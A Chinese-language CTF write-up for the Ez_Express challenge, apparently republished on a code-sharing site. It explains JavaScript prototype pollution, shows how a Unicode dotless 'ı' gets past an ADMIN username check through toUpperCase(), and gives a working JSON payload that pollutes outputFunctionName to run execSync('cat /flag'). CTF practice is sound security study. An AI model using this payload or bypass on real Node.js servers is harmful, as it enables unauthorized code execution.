[GYCTF2020]Ez_Express


[GYCTF2020]Ez_Express

知識點:原型鏈污染

原型鏈的特性:

在我們調用一個對象的某屬性時:

1.對象(obj)中尋找這一屬性
2.如果找不到,則在obj.__proto__中尋找屬性
3.如果仍然找不到,則繼續在obj.__proto__.__proto__中尋找這一屬性

以上機制被稱為js的prototype繼承鏈。而原型鏈污染就與這有關

原型鏈污染定義:

如果攻擊者控制並修改了一個對象的原型,那么將可以影響所有和這個對象來自同一個類、父祖類的對象。這種攻擊方式就是原型鏈污染

舉例:

let foo = {bar: 1}
console.log(foo.bar)
foo.__proto__.bar = 2
console.log(foo.bar)
let zoo = {}
console.log(zoo.bar)

結果:

let foo ={bar:1}
console.log(foo.bar)
foo._proto__.bar=2
console.log(foo.bar)
let zoo={}
console.log(zoo.bar)
1
1

思路:js審計如果看見merge,clone函數,可以往原型鏈污染靠,跟進找一下關鍵的函數,找污染點

切記一定要讓其__proto__解析為一個鍵名

byc師傅blog的總結:

總結下:
1.原型鏈污染屬於前端漏洞應用,基本上需要源碼審計功力來進行解決;找到merge(),clone()只是確定漏洞的開始
2.進行審計需要以達成RCE為主要目的。通常exec, return等等都是值得注意的關鍵字。
3.題目基本是以彈shell為最終目的。目前來看很多Node.js傳統彈shell方式並不適用.wget,curl,以及我兩道題都用到的nc比較適用。

來做題

看到提示

友情提示
如果您還不是會員,請注冊

用戶名只支持大寫

請使用ADMIN登錄

提示我們需要使用admin來登錄

先掃一下,發現有www.zip源碼泄露

image-20200806172142491

下載源碼審一下

const merge = (a, b) => {
  for (var attr in b) {
    if (isObject(a[attr]) && isObject(b[attr])) {
      merge(a[attr], b[attr]);
    } else {
      a[attr] = b[attr];
    }
  }
  return a
}
const clone = (a) => {
  return merge({}, a);
}

/route/index.js中用了merge()clone(),必是原型鏈了

往下找到clone()的位置

router.post('/action', function (req, res) {
  if(req.session.user.user!="ADMIN"){res.end("<script>alert('ADMIN is asked');history.go(-1);</script>")} 
  req.session.user.data = clone(req.body);
  res.end("<script>alert('success');history.go(-1);</script>");  
});

需要admin賬號才能用到clone()

於是去到/login

router.post('/login', function (req, res) {
  if(req.body.Submit=="register"){
   if(safeKeyword(req.body.userid)){
    res.end("<script>alert('forbid word');history.go(-1);</script>") 
   }
    req.session.user={
      'user':req.body.userid.toUpperCase(),
      'passwd': req.body.pwd,
      'isLogin':false
    }
    res.redirect('/'); 
  }
  else if(req.body.Submit=="login"){
    if(!req.session.user){res.end("<script>alert('register first');history.go(-1);</script>")}
    if(req.session.user.user==req.body.userid&&req.body.pwd==req.session.user.passwd){
      req.session.user.isLogin=true;
    }
    else{
      res.end("<script>alert('error passwd');history.go(-1);</script>")
    }
  
  }
  res.redirect('/'); ;
});

可以看到驗證了注冊的用戶名不能為admin(大小寫),不過有個地方可以注意到

'user':req.body.userid.toUpperCase(),

這里將user給轉為大寫了,這種轉編碼的通常都很容易出問題

參考p牛的文章

Fuzz中的javascript大小寫特性

https://www.leavesongs.com/HTML/javascript-up-low-ercase-tip.html

注冊admın(此admın非彼admin,仔細看i部分)

特殊字符繞過

toUpperCase()

其中混入了兩個奇特的字符"ı"、"ſ"。

​ 這兩個字符的“大寫”是I和S。也就是說"ı".toUpperCase() == 'I',"ſ".toUpperCase() == 'S'。通過這個小特性可以繞過一些限制。

toLowerCase()

這個"K"的“小寫”字符是k,也就是"K".toLowerCase() == 'k'.

有一個輸入框 你最喜歡的語言,還有提示flag in /flag

登錄為admin后,就來到了原型鏈污染的部分

找污染的參數

router.get('/info', function (req, res) {
  res.render('index',data={'user':res.outputFunctionName});
})

可以看到在/info下,使用將outputFunctionName渲染入index中,而outputFunctionName是未定義的

res.outputFunctionName=undefined;

也就是可以通過污染outputFunctionName進行SSTI

於是抓/action的包,Content-Type設為application/json

payload

{"lua":"a","__proto__":{"outputFunctionName":"a=1;return global.process.mainModule.constructor._load('child_process').execSync('cat /flag')//"},"Submit":""}

image-20200806190730140

然后/info路由,下載到flag


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM